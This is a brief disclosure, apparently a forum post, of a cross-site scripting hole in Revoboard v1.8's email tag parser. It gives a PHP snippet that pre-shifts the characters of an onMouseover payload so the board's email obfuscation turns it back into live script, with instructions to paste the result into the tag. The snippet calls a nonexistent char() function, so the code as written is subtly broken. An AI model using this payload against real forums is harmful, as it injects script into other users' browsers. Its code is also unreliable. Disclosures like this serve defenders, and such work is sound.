Revoboard (php) is based on an earlier version of PunBB.
I know for sure that this affects v1.8.

The email tag parser obsfucates emails to stop harvesters. To execute code, do this: 
[php]
$code = '\'" onMouseover="javascript:alert(/xss/)">';
for($a=0;$a<strlen($code);$a++){
     $c = ord(substr($code,$a,1));
     $c += intval(-2);
     $str .= char($c);
}
print $str;
[/php]

And you just paste $str into the tag =).

r0xes

dynxss.whiteacid.org
criticalsecurity.net